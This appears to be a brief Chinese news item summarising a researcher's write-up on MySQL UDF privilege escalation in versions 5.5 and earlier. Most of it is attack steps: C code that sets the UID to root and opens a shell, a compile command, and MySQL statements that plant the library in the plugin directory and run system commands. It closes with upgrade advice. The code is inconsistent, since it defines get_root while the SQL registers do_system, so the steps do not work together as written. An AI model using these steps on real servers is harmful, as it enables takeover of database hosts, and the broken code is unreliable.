5月5日,安全研究员徐涛发布了一篇题为“MySQL UDF提权”漏洞的文章,文章介绍了一种可以利用MySQL UDF实现提权的方法。该漏洞影响MySQL 5.5版本及以下。
函数示例:void get_root(){setresuid(0,0,0);system("/bin/bash");}编译方式:gcc -shared -o exploit.so exploit.c $(mysql_config --cflags) -fPIC安装:mysql>use mysql;mysql>create table foo(line blob);mysql>insert into foo values(load_file('/path/to/exploit.so'));mysql>select * from foo into dumpfile '/usr/lib/mysql/plugin/exploit.so';mysql>create function do_system returns integer soname 'exploit.so';mysql>select do_system('id');其中exploit.so就是恶意代码库,该代码库将用户的UID设置为0,并执行了一个交互式shell。
由于此漏洞需要具有“create function”权限才能被成功利用,因此此漏洞的危害相对较小。不过,对于维护MySQL数据库的管理员来说,此漏洞仍有可能导致严重的安全问题,因此建议管理员及时升级MySQL版本并进行相应的安全措施。